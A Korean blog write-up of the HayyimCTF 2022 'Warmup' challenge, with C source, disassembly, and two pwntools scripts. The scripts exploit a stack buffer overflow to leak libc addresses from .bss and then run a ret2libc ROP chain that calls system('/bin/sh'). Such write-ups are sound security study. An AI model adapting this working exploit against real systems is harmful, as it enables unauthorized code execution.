CTF

HayyimCTF 2022 Warmup Writeup

c0wb3ll ㅣ 2022. 2. 21. 16:58

Warmup

problem

environ

  • Ubuntu:18.04

warmup.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void vuln() {
    char buf[0x30];
    memset(buf, 0, 0x30);
    write(1, "> ", 2);
    read(0, buf, 0xc0);
}

int main(void) {
    init();
    vuln();
    exit(0);
}

writeup

해당 Warmup 문제는 CTF 기간내에 풀지 못한 문제이다. 대회가 끝난 후 공개된 writeup을 봤는데 굉장히 다양한 방식의 풀이가 있어서 흥미로웠다. 여러가지 풀이 방법 중 내가 알게된 방법은 아래와 같다.

  1. main()함수로 돌아가 vuln()함수가 호출될 시 stack에 위치한 buf가 8bytes씩 밀리는 것을 이용한 leak(내가 이해한게 맞는지 잘 모르겠음;;)
    https://hackmd.io/@Gt4Bz9fIRAKhqIqhByvn-Q/r1p2Zjm1c
  2. stack에 존재하는 dl_start_user+50값을 이용한 leak
    https://github.com/datajerk/ctf-write-ups/blob/master/hayyimctf2022/warmup-cooldown/README.md
  3. stdin, stdout, stderr가 bss영역에 있는 것을 이용한 leak
    https://ctftime.org/writeup/32322

풀이과정은 여러개였지만 1,2 방법으로는 결국 풀지 못했기 때문에 3번 방식을 이용한 풀이를 하려고 한다.

(또한 환경 맞추어 줄 때 그냥 도커쓰자 그게 정신건강에 이롭다...)

https://user-images.githubusercontent.com/48816875/154907945-75f6993c-f1ac-4397-a14c-3ea17ab002fb.png

우선 main, vuln, init 등의 함수의 심볼이 모두 날라가 있는 것을 확인할 수 있었다.

https://user-images.githubusercontent.com/48816875/154908113-f47d781a-0830-466b-8490-649f5165d3cd.png

이런 경우 info file 명령어를 이용하여 .text 영역을 모두 살펴보는 방식을 이용해야한다.

https://user-images.githubusercontent.com/48816875/154908833-7e9c8347-5c70-4382-a473-7d1874437459.png

.text영역을 살펴보면 위 그림과 같이 파악할 수 있다.

   0x40053d:    push   rbx
   0x40053e:    xor    eax,eax
   0x400540:    mov    ecx,0xc
   0x400545:    lea    rsi,[rip+0x32]        # 0x40057e
   0x40054c:    mov    edx,0x2
   0x400551:    sub    rsp,0x30
   0x400555:    mov    rbx,rsp
   0x400558:    mov    rdi,rbx
   0x40055b:    rep stos DWORD PTR es:[rdi],eax
   0x40055d:    mov    edi,0x1
   0x400562:    call   0x4004a0 <write@plt>
   0x400567:    mov    rsi,rbx
   0x40056a:    mov    edx,0xc0
   0x40056f:    xor    edi,edi
   0x400571:    xor    eax,eax
   0x400573:    call   0x4004b0 <read@plt>
   0x400578:    add    rsp,0x30
   0x40057c:    pop    rbx
   0x40057d:    ret

그 중 vuln함수를 살펴보면 스택 정리 방식이 일반적이지 않음을 확인할 수 있다.

vuln함수에서 buf의 크기는 0x30인것에 반해 read함수를 이용한 입력은 0xc0만큼 받는다. 해당 취약점을 이용해 return address를 0x400567, 0x40055d로 줌으로써 write함수, read함수의 인자를 변경시켜 사용할 수 있다.

https://user-images.githubusercontent.com/48816875/154909840-1066850a-28d1-4adb-9e52-c61ef0ce8bd2.png

또한 .bss영역을 보면 stdout, stdin, stderr의 주소가 있는 것을 확인할 수 있다. 해당 .bss영역과 write함수를 이용해 libc base를 leak할 수 있다.

from pwn import *

e = ELF('./warmup')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

# text_addr
main_addr = 0x4004e0
vuln_addr = 0x40053d

# func
write_addr = 0x40055d
read_addr = 0x400567

#bss
bss_addr = 0x601000

p = process('./warmup')

# pause()

payload = b'A' * 0x30
payload += p64(bss_addr)
payload += p64(read_addr)
payload += b'A' * 0x38
payload += p64(write_addr)

p.sendafter(b'> ', payload)
p.sendline(b'')

p.interactive()

위 익스코드의 동작과정을 설명하면

  1. pop rbx 를 이용해 rbx레지스터에 bss_addr값을 준다.
  2. read함수로 return address를 덮어씌워 read함수의 인자를 read(0, bss_addr, 0xc0)와 같이 만들어준다.
  3. 해당 인자를 그대로 write함수로 가져간다. ⇒ write(1, bss_addr, 0xc0)
  4. leak!

이렇게 써놓으면 이해하기 힘들거 같긴한데; vuln함수 디스어셈블구문과 함께 보면 이해할 수 있을거라 믿는다..

https://user-images.githubusercontent.com/48816875/154911113-c4d74306-500c-47c5-b310-86241ca2a8b6.png

해당 익스코드를 실행시키면 다음과 같이 bss_addr부분 즉 stdout, stdin, stderr 주소를 leak 할 수 있다.

여기서 stdout 주소는 p.sendline(b'')부분으로 인해 마지막 1byte가 0x0a로 덮였기 때문에 사용하지 않고 stdin주소를 사용하기로 한다.

위 과정을 통해 libc base 및 필요한 함수들의 주소들을 구해준 뒤 익스 해주면 된다.

from pwn import *

e = ELF('./warmup')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

# libc_offset
stdin_offset = libc.symbols['_IO_2_1_stdin_']
system_offset = libc.symbols['system']
binsh_offset = next(libc.search(b'/bin/sh'))
ogg_offset = 0x4f432
pop_rdi_offset = 0x215bf
ret_offset = 0x8aa

# text_addr
main_addr = 0x4004e0
vuln_addr = 0x40053d

# func
write_addr = 0x40055d
read_addr = 0x400567

#bss
bss_addr = 0x601000

p = process('./warmup')

# pause()

payload = b'A' * 0x30
payload += p64(bss_addr)
payload += p64(read_addr)
payload += b'A' * 0x38
payload += p64(write_addr)
payload += b'A' * 0x38
payload += p64(vuln_addr)

p.sendafter(b'> ', payload)
p.sendline(b'')

p.recvuntil(b'\x7f')                                                        # stdout
stdin_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))               # stdin
libc_base = stdin_addr - stdin_offset
ogg_addr = libc_base + ogg_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
pop_rdi_addr = libc_base + pop_rdi_offset
ret_addr = libc_base + ret_offset

print(f"[*] libc_base: {hex(libc_base)}")
print(f"[*] stdin_addr: {hex(stdin_addr)}")
print(f"[*] ogg_addr: {hex(ogg_addr)}")
print(f"[*] system_addr: {hex(system_addr)}")
print(f"[*] binsh_addr: {hex(binsh_addr)}")
print(f"[*] pop_rdi_addr: {hex(pop_rdi_addr)}")
print(f"[*] ret_addr: {hex(ret_addr)}")

payload2 = b'A' * 0x38
payload2 += p64(ret_addr)
payload2 += p64(pop_rdi_addr)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)

p.sendlineafter(b'> ', payload2)

p.interactive()

처음엔 one_gadget을 이용해 익스하려고 하였는데 인자 정리가 제대로 안된건지 뭔지 모르겠는데 execvpe+101 부분에서 SIGSEGV에러가 발생하여 system('/bin/sh)을 이용해 익스해주었다.